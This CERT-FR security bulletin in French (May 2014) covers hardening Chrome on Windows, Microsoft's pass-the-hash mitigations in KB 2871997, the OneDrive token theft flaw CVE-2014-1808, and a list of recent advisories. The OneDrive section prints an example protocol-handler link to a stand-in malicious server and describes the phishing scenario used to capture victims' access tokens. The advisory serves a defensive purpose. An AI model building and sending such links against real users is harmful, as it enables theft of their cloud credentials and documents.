Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE
PREMIER MINISTRE

S . G . D . S . N
Agence nationale de la sécurité des systèmes d'information
CERT-FR

Paris, le 23 mai 2014
N° CERTFR-2014-ACT-021

Affaire suivie par :
CERT-FR

BULLETIN D'ACTUALITÉ

Objet : Bulletin d'actualité CERTFR-2014-ACT-021

1 - Déploiement sécurisé de Google Chrome sous Windows

Le 14 mai 2014, l'ANSSI a publié sur son site un guide de recommandations concernant le déploiement sécurisé du navigateur Google Chrome sous Microsoft Windows. Celui-ci aborde la configuration du navigateur dans un environnement professionnel en proposant le déploiement d'une ou plusieurs politiques de sécurité (GPO). Parmi les recommandations détaillées dans le document, il est à noter :

- la désactivation des *plug-ins* n'utilisant pas l'interface *PPAPI* (et qui ne peuvent donc pas s'exécuter dans un « bac à sable » (*sandbox*)) ;
- la désactivation des extensions qui ne se justifient pas par un besoin métier ;
- la désactivation du gestionnaire de mots de passe ;
- le paramétrage permettant de forcer l'utilisation d'un serveur mandataire (*proxy*) avec authentification ;
- la désactivation de la connexion à un compte Google pour la synchronisation des préférences ;
- le paramétrage des mises à jour en fonction du mode de déploiement choisi.

Enfin, le guide propose l'utilisation de deux navigateurs : un navigateur durci permettant l'accès à l'Internet et un autre plus permissif pour l'accès aux applications internes nécessitant l'installation de modules complémentaires tels que Java. Les configurations permettant le filtrage et l'intégration des deux navigateurs y sont détaillées.

Documentation

- Note technique sur le déploiement sécurisé de Google Chrome sous Windows : http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/recommandations-et-guides/securite-du-poste-de-travail-et-des-serveurs/recommandations-pour-le-deploiement-securise-du-navigateur-google-chrome-sous.html

2 - Amélioration de la protection des secrets d'authentification sur les systèmes Windows (2/2)

Introduction

Microsoft a profité de la publication des correctifs de sécurité de mai 2014 pour rétroporter, via le KB 2871997, des fonctionnalités de sécurité de Windows 8.1 sur les systèmes Windows à partir de Windows 7 SP1. Ces mécanismes visent à lutter contre la réalisation d'attaques de type *pass-the-hash* sans remédier au principe de l'attaque. Cet article est le deuxième bulletin d'une série visant à décrire les mécanismes introduits par cette mise à jour et les gains en matière de sécurité.

Suppression de certains secrets d'authentification dans la mémoire du processus gérant les authentifications

Cette mesure vise à réduire le nombre de secrets d'authentification dans la mémoire du processus `lsass.exe` (processus en charge de l'authentification) atténuant ainsi le risque d'exfiltration des secrets au travers d'outils analysant la mémoire de ce processus. Premièrement, le composant d'authentification (`SSP`) WDigest, implémentant l'authentification basée sur MD5 et présentant la particularité de nécessiter l'enregistrement des mots de passe utilisateur en clair peut-être désormais désactivé sous Windows 7 et Windows Server 2008. Microsoft propose ainsi la possibilité d'activer ou non ce composant au travers de la clé de registre `UseLogonCredential`. Deuxièmement, des efforts ont été apportés afin de limiter le temps de présence des secrets d'authentification dans la mémoire de `lsass.exe`. De plus, les appels aux méthodes de libération de zones mémoires ou d'écrasement de données sont plus fréquents.

Interdiction des connexions depuis des comptes locaux sur des machines membres d'un domaine Active Directory

Introduit avec Windows 8.1, deux nouveaux identifiants de sécurité (« *Well-Known SID* ») ont été rétroportés par la mise à jour :

1. le SID `S-1-5-113` qui représente l'ensemble des comptes utilisateurs locaux ;
2. le SID `S-1-5-114` qui représente l'ensemble des comptes utilisateurs locaux membres du groupe d'administration local d'un système.

Ces SID sont ajoutés automatiquement dans le jeton (TOKEN) représentant le contexte de sécurité de l'utilisateur par le système lors de l'authentification avec des comptes locaux (non membre d'un domaine Active Directory). L'ajout de ces SID permet de simplifier la gestion des restrictions liée aux comptes locaux. En effet, il est dorénavant possible d'interdire aux utilisateurs locaux d'ouvrir un type de session particulier(notamment les sessions de type "network", "remote interactive" ou "batch") en ajoutant les SID dans les options d'interdiction d'ouverture de session disponibles dans l'éditeur de stratégie local :

```
secpol.msc -> strategies locales -> attribution des droits utilisateur
    -> Interdire l'ouverture de session
        [a partir du reseau/par les services Bureau a distance/en tant que tache]
```

Cette mesure permet de se prémunir efficacement contre un scénario d'attaque consistant à rejouer des empreintes des comptes locaux de la machine pour rebondir sur un ensemble de machines (empreinte généralement identiques en raison du clonage des machines). La mise en place de restriction d'authentification des comptes locaux ne nécessite plus l'inventaire de tous les comptes locaux mais peut reposer sur ce SID générique.

Conclusion et recommandations

Annoncé depuis plusieurs mois, Microsoft propose, au travers des correctifs de mai 2014, un ensemble de solutions techniques permettant de lutter contre le vol de secrets cryptographiques fréquemment utilisé pour la mise en place d'attaques de type *pass-the-hash*. Améliorant la sécurité du système Windows, ces correctifs sont néanmoins susceptibles d'avoir des effets de bord sur certaines infrastructures. En effet, ces fonctionnalités modifiant le comportement des processus chargés de la validation des demandes d'authentification, elles sont susceptibles d'impacter le comportement des logiciels tiers s'interfaçant avec ces processus. Cependant, les gains en matière de sécurité sont indéniables et le CERT-FR recommande l'application de cette mise à jour après une phase de qualification approfondie.

Documentation

– Microsoft KB 2871997 :
https://support.microsoft.com/kb/2871997

3 - Vol de jeton d'accès OneDrive CVE-2014-1808

La vulnérabilité CVE-2014-1808 (MS13-023), corrigée le 13 mai 2014 par Microsoft avec la version 15.0.4615.1000 de Microsoft Office 2013, correspond à l'avis de sécurité CERTFR-2014-AVI-221. Il s'agit d'une vulnérabilité similaire à la vulnérabilité CVE-2013-5054 découverte par la société Adallom.

La vulnérabilité CVE-2014-1808 permet à un attaquant de voler le jeton d'accès d'un utilisateur qui lui permet de s'authentifier au service d'informatique en nuage OneDrive (SkyDrive). Lorsqu'un utilisateur accède à un document Microsoft Office hébergé sur le service d'informatique en nuage OneDrive, le service a besoin du jeton d'accès fourni par l'application cliente Microsoft Office pour autoriser ou non l'accès. Pour cela l'application cliente utilise le protocole HTTP ou HTTPS pour envoyer son jeton au service d'informatique en nuage afin de récupérer un cookie de session qui lui permettra d'accéder aux documents.

La vulnérabilité est exploitable à l'aide d'un site web spécialement conçu et d'un lien hypertexte utilisant le gestionnaire de protocole du client ciblé, c'est à dire ms-word pour Microsoft Word, ms-excel pour Microsoft Excel, etc. Voici un exemple de lien pour Microsoft Word :

```
<a href="ms-word:ofe|u|http://serveur-malveillant/document.docx">
    Docx heberge sur un faux serveur OneDrive
</a>
```

Le protocole simplifié derrière l'envoi de jeton est le suivant :

- le client Microsoft Office (par exemple Word) envoie une requête HTTP `OPTIONS` vers l'URL du dossier contenant le document qu'il souhaite éditer ;
- le service OneDrive répond avec un message `HTTP Response` de type 401 (non autorisé) mais en précisant des informations dans l'entête `WWW-Authenticate` pour poursuivre le processus d'authentification ;
- le client Microsoft Office (Word) utilise alors les informations contenues dans l'entête `WWW-Authenticate` pour envoyer son jeton d'authentification (`Passport 1.4 from-PP`) au service IDCRL (« IDentity Client Runtime Library service ») de OneDrive qui gère l'authentification du client ;
- le service IDCRL répond alors avec un message `HTTP Response` de type 200 (OK) avec, dans l'entête `Set-Cookie`, le cookie `ClientCanary` qui permettra d'accéder aux documents en ligne.

La vulnérabilité est présente dans la troisièmeétape du protocole décrit précédemment. En effet, Microsoft Office par exemple Word) va retourner le jeton d'accès associé au champ `siteId` de l'entête `WWW-Authenticate` (par exemple « ssl.live.com »), sans vérifier la valeur de ce champ par rapport à l'hôte présent dans l'URL de connexion ou les informations contenues dans le certificat TLS présenté par le service. Il est donc possible de mettre en place un serveur HTTP malveillant qui renvoie dans l'entête `WWW-Authenticate` les champs attendus afin de se faire passer pour un serveur OneDrive légitime et ainsi récupérer le jeton d'authentification du client.

Les attaques utilisent le scénario suivant pour accéder aux documents du service OneDrive d'un organisme :

- l'attaquant met en place un site web malveillant (serveur Web) se faisant passer pour le site OneDrive légitime de l'organisme ;
- l'attaquant envoie alors à sa victime un courriel en usurpant l'adresse e-mail d'un collègue de travail avec un lien hypertexte utilisant le gestionnaire de protocole du client ciblé pointant sur un document Office hébergé sur le site malveillant ;
- la victime, en se connectant sur le lien présent dans le courriel reçu, va alors divulguer à l'attaquant son jeton d'accès qui permet ensuite d'accéder à l'espace OneDrive du client.

Le jeton d'accès possède une longue durée de vie (il ne s'agit pas d'un cookie temporaire) et peut être utilisé auprès d'un serveur légitime pour récupérer un cookie afin d'accéder à l'espacé privé de la victime. En revanche le jeton d'accès contient l'adresse IP publique du client et son intégrité est vérifiée (contrairement au jeton d'accès de SharePoint dans le cas de la vulnérabilité CVE-2013-5054), ce qui limite l'exploitation de la vulnérabilité au réseau local de la victime.

Le CERT-FR recommande l'application des correctifs Microsoft dès que possible et également d'être vigilant lors de la réception de courriels contenant des liens vers des documents hébergés sur des services d'informatique en nuage (SharePoint, OneDrive etc.).

Documentation

- Bulletin de sécurité Microsoft MS14-023 :
  http://technet.microsoft.com/fr-fr/security/bulletin/ms14-023
- Bulletin de sécurité Microsoft MS13-104 :
  http://technet.microsoft.com/fr-fr/security/bulletin/ms13-104
- Severe Office 365 Token Disclosure Vulnerability :
  http://www.adallom.com/blog/severe-office-365-token-disclosure-vulnerability-research-and-analysis/

4 - Rappel des avis émis

Dans la période du 16 au 22 mai 2014, le CERT-FR a émis les publications suivantes :

- CERTFR-2014-AVI-231 : Multiples vulnérabilités dans Apple OS X Mavericks
- CERTFR-2014-AVI-232 : Multiples vulnérabilités dans les produits Juniper
- CERTFR-2014-AVI-233 : Vulnérabilité dans Apple iTunes
- CERTFR-2014-AVI-234 : Multiples vulnérabilités dans Moodle
- CERTFR-2014-AVI-235 : Vulnérabilité dans Apple OS X Server
- CERTFR-2014-AVI-236 : Multiples vulnérabilités dans Google Chrome
- CERTFR-2014-AVI-237 : Multiples vulnérabilités dans Apple Safari
- CERTFR-2014-AVI-238 : Multiples vulnérabilités dans Cisco NX-OS
- CERTFR-2014-AVI-239 : Vulnérabilité dans Cisco Wide Area Application Services

Gestion détaillée du document

23 mai 2014 version initiale.

Conditions d'utilisation de ce document :	`http://cert.ssi.gouv.fr/cert-fr/apropos.html`
Dernière version de ce document :	`http://cert.ssi.gouv.fr/site/CERTFR-2014-ACT-021`